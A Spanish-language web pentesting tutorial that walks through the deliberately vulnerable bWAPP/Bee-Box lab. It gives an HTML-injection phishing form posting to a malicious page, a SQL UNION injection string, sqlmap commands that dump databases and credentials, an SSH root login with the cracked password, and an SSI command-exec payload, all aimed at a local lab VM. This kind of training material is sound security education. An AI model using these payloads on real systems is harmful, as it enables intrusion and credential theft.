Ver destacados

Pentesting atacar y defender Aplicaciones Web con bWAPP

Este completo tutorial te enseñará a realizar pentesting y comprobar las principales vulnerabilidades Web a través de la herramienta bWAPP
Escrito por
25.8K Visitas  |  Publicado ago 02 2016 10:23
Favorito
Compartir
Comparte esta pagina a tus Amigos y Contactos usando las siguientes Redes Sociales


bWAPP es un sitio web que ha sido desarrollado con vulnerabilidades para que tanto principiantes como expertos puedan realizar prácticas de pentesting y ethical hacking. Puede ser alojado en Linux o Windows sobre Apache o IIS y MySQL. Se admite en WAMP o XAMPP. Otra posibilidad es la utilizar una máquina virtual que sirve para VMware o para VirtualBox.

 

bWAPP es libre y abierto, se puede descargar en dos versiones una para utilizar en forma local y otra para instalar en una máquina virtual. El sitio web está desarrollado en PHP y MySQL por lo que es multiplataforma. Descargamos instalar bWAPP en local, si deseamos instalar en una máquina virtual el proyecto es Bee-Box.

 

Bee-box es una máquina virtual Linux con todo preinstalado. Así solo deberemos explorar todas las vulnerabilidades bWAPP sin correr el riesgo de desfigurar el sitio web bWAPP. Además con la máquina virtual podremos intentar conseguir acceso root.

 

bWAPP tiene más de 100 fallos para poder investigar y descubrir, cubre todas las principales vulnerabilidades web conocidas, incluyendo todos los riesgos de seguridad. El proyecto no solo permite descubrir las vulnerabilidades, sino que también posibilita encontrar la solución.

 

En este tutorial instalaremos la versión Bee-Box de bWAPP, para ello descomprimimos el archivo que descargamos y los creara una carpeta con muchos archivos vmdk a nuestro servidor local. A continuación crearemos la máquina virtual asignando una versión Linux Ubuntu de 32 bit.

 

 

A continuación deberemos seleccionar el archivo descargado denominado bee-box.vdmk

 

 

Antes de iniciar la máquina virtual, recordemos que deberemos configurar la red esto la hacemos desde Configuración para poder tener una dirección IP y poder acceder a la máquina virtual desde otro ordenador.

 

 

Hacemos clic en crear y luego en Iniciar, para que la máquina virtual comience a funcionar, una vez cargada veremos el escritorio.

 

 

A continuación abriremos la terminal para ver cuál es la IP mediante el comando ifconfig.

 

 

Podemos ver que la IP en este caso es 192.168.0.14, si probamos esa IP en el ordenador fuera de la máquina virtual debemos poder acceder a la web:

http://192.168.0.14/bWAPP
Y el resultado será el siguiente:

 

 

A continuación podremos comenzar con la pagina login, por defecto el usuario es bee y la clave bug para acceder al panel de control. Dentro del menú Bugs tendremos varios ejemplos para utilizar y hacer pruebas con algunas vulnerabilidades desde las más sencillas hasta las más complejas. Veamos algunas vulnerabilidades según el tipo de ataque.

 

Las vulnerabilidades se dividen en categorías o capítulos que son los siguientes:

 

A1 Inyecciones
Aquí se agrupan las vulnerabilidades de inyección HTML, SQL, XSS, XPATH y todas aquellas que tienen que ver con el envió de parámetros a través del navegadores.

 

A2 Romper Autentificación y sesiones
Aquí se ve como vulnerar captchas y formularios de login mediante técnicas de reemplazo de URL, captura de parámetros y utilización ID de sesiones.

 

A3 Cross Site Scripting (XSS)
Aquí se ven las vulnerabilidades relacionadas con XSS que no son muy peligrosas sino más bien molestas.

 

A4 Objetos y directorios inseguros
Aquí se trata de cambiar parámetros en enlaces desde el código antes de enviar el formulario.

 

A5 Seguridad y Configuración
Aquí veremos algunos ataques como DDOS y middle attack, que buscarán afectar servicios como mail y servicios que este funcionado.

 

A6 Exposición de datos sensibles
Aquí veremos una serie de vulnerabilidades que permite que datos del servidor sean expuestos en el navegador.

 

Estas son alguna de las vulnerabilidades, en este tutorial nos centraremos en los ataques más conocidos y en la posibilidad de tomar el control del servidor.

 

 

1. Inyección HTML


Inyección Reflejada HTML, es la que permite insertar código HTML en un campo de texto y luego mostrarlo en la web. Seleccionamos la primera Inyección por método GET, tenemos dos casillas de texto, si ingresamos por ejemplo un enlace en cada una:
<a href="http://www.sitioatacante.com">Mensaje Urgente</a> 
<a href="http://www.sitioatacante.com">| Tus Ventas</a>
Al enviar el formulario veremos debajo que se muestran ambos enlaces y dejarlo a la espera que alguien haga click. Podemos probar también con el método POST.

 

 

Otro problema de no controlar el ingreso de datos HTML es que podríamos enviar un formulario haciendo creer al usuario que se debe loguear op introducir algún dato, y enviar esos datos a otra página.

<b>Usted ha sido desconectado. </b><br>
Ingrese su usuario y clave para continuar

<form action="sitiomalicioso.php">
  usuario:<br>
  <input type="text" name="usuario" value=""><br>
  clave:<br>
  <input type="text" name="clave" value=""><br><br>
  <input type="submit" value="Aceptar">
</form>

 

 

 

2. Inyección SQL


Veamos otro ataque como la Inyección SQL, si buscamos en BUG la opción SQL Injection (GET/Search), en esta sección podremos buscar películas por ejemplo Iron Man, dando como resultado los datos de la película.

 

 

A continuación podemos probar a inyectar código SQL para probar si la base de datos es vulnerable, para ello utilizamos el siguiente código que nos devolverá el listado de bases de datos si:

iron man' union select 1,table_name,3,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema=database()–'
El resultado es el listado de tablas por lo tanto es vulnerable la base de datos:

 

 

Sabiendo que la base de datos es vulnerable podemos utilizar algunas técnicas que vimos en el tutorial SQLMAP herramienta de Inyección de SQL y Ethical hacking de bases de datos, donde alcanzamos el grado root buscando las claves de administrador.

 

Desde la ventana de terminal escribimos el siguiente comando, utilizamos la página que buscamos la película ya que tiene un parámetro que puede ser vulnerable.

sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" --dbs

 

Nos muestra las bases de datos, una de ellas es bWAPP, por lo tanto intentaremos obtener el listado de tablas sabiendo que el motor de base de datos es MySQL 5. Para obtener el listado de tablas utilizaremos el siguiente comando.

sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" –tables

 

Podemos observar que nos lista todas las tablas, no solo de la web, además las del sistema por lo que podremos obtener los datos del administrador de Linux. También podemos explotar la sesión de PHP utilizando Firebug podemos ver el número de sesión, ya que al crear un usuario o loguearnos o generar algún contenido dinámico como una búsqueda, la respuesta del servidor crear un PHPSession.

 

 

Utilizando comando --users y la sesión o con el comando sin sesión podremos ver los usuarios de sistema.

sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search"  --users
Otra opción comando con ID de sesión:
sqlmap -u “http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" --cookie=”PHPSESSID=e6f734f935bca3bf86013add7ea2e3f9; security_level=0” --users

 

A continuación buscaremos los usuarios de sistema utilizando el siguiente comando:

sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" dba --is-dba --privileges --dbs –dump
Como resultado obtendremos tablas donde hay password una de ellas es users que tiene los datos de administrador y otra es la de tabla heroes y users(usuarios) que utilizaremos para loguearnos como usuarios.

 

 

La tabla de users contiene los datos de administradores de la página web:

 

 

A continuación vamos a obtener la clave root de los usuarios que encontramos más arriba para ello utilizamos el siguiente comando:

sqlmap -u "http://192.168.0.14/bWAPP/sqli_1.php?title=iron&action=search" -f -b --current-user --is-dba --is-dba --privileges --dbs –dump
Al finalizar los comandos mediante un ataque de fuerza bruta, encontramos que la clave del administrador de sistema es bug y el usuario root.

 

 

Vamos a intentar desde la terminal, conectar vía ssh a la máquina virtual para tomar el control remoto del ordenador mediante el siguiente comando:

ssh root@192.168.0.14
El resultado utilizando el usuario root y la clave bug es la conexión con permisos administrador a la máquina virtual.

 

 

A continuación probamos si podemos loguearnos en la sección heroes y usuarios con los datos obtenidos anteriormente, por ejemplo el usuario neo y la clave trinity.

 

 

Logramos acceder con estos datos de usuarios sin problemas. Si Utilizamos lo de la tabla users también podremos loguearnos.

 

 

3. Inyección HTML / XPATH


Uno de los ataques menos pensados es a través de aquellos navegadores que permiten la edición de código, si cambiamos un enlace hacia un sitio malicioso, el usuario no se dará cuenta y el cambio se perderá cuando se refresque la web.

 

Por ejemplo vamos a change Password y hacemos click derecho para abrir un Inspector o editor de código y cambiamos la url change_password.php por http://google.com y cerramos el editor

 

 

Así cuando el usuario haga click en ese enlace será redirigido a otra página, es muy poco efectivo ya que al refrescarse o cambiarse de página el enlace vuelve a ser el original. Esto sirve para que miremos antes de hacer clic en un enlace que nos lleve a una web segura o dentro del mismo dominio.

 

 

4. Inyección de código en el Servidor (Server Side Injection)


Inyección del lado del servidor es cuando una web es vulnerable y permite ingresar comandos de un lenguaje o del sistema operativo para ejecutar acciones en el servidor.

 

Un atacante envía un código malicioso o un comando a través de un campo de texto de una aplicación web que es ejecutado por el servidor Web. Veamos un ejemplo que permitirá listar directorios utilizando el comando ls de Linux, que lo escribiremos de la siguiente manera:

<!--#exec cmd="ls -l"-->

 

El resultado será el listado de todos los directorios del servidor, por ello debemos chequear que no puedan introducirse comandos.

 

 

Una de las herramientas que nos propone utilizar el proyecto bWAPP, es ZAP (Zed Attack Proxy), esta herramienta la vimos en el tutorial Escanear vulnerabilidad de un sitio web con ZAP, es muy utilizada para escanear vulnerabilidades y realizar pruebas de penetración en sitios web. Podemos descargar la versión más actualizada desde el siguiente enlace:

 

 DESCARGAR ZAP

 

Elige la versión según el sistema operativo que tengamos o bien una versión multiplataforma desarrollada en Java. Una vez instalado probaremos a escanear la web bWAPP con ZAP y buscar algunas vulnerabilidades.

 

 

Cuando iniciamos ZAP y realizamos un escaneo veremos que detecta la mayoría de la vulnerabilidades, para definir reglas de escaneo podemos ir al menú Analizar > Reglas de Escaneo y luego hacemos doble clic en Default Policy.

 

Veamos en uno de las páginas de login ha encontrado que se envía como parámetro el nivel de usuario, en este caso el administrador.

 

 

También podemos utilizar los filtros como vimos en el tutorial de ZAP para hacer inyección SQL y otros ataques.

 

 

La seguridad de las aplicaciones web es un aspecto muy importante aparte de un buen diseño y contenido. bWAPP es una plataforma que nos permitirá conocer y probar muchas vulnerabilidades, para luego aplicar esos conocimientos en nuestra web y además, sirve para que especialistas, desarrolladores y estudiantes puedan descubrir y prevenir vulnerabilidades web.

 

bWAPP es muy utilizado para pruebas de penetración de aplicaciones web y proyectos de hacking ético. bWAPP cubre todas las principales vulnerabilidades web conocidas, incluyendo todos los riesgos del proyecto OWASP Top 10, que recoge las vulnerabilidades año a año en 10 categorías.

 

Para finalizar os recomendamos este artículo con una explicación de los tipos de ataques informáticos.

¿Te ayudó este Tutorial?

Ayuda a mejorar este Tutorial!
¿Quieres ayudarnos a mejorar este tutorial más? Puedes enviar tu Revisión con los cambios que considere útiles. Ya hay 0 usuario que han contribuido en este tutorial al enviar sus Revisiones. ¡Puedes ser el próximo!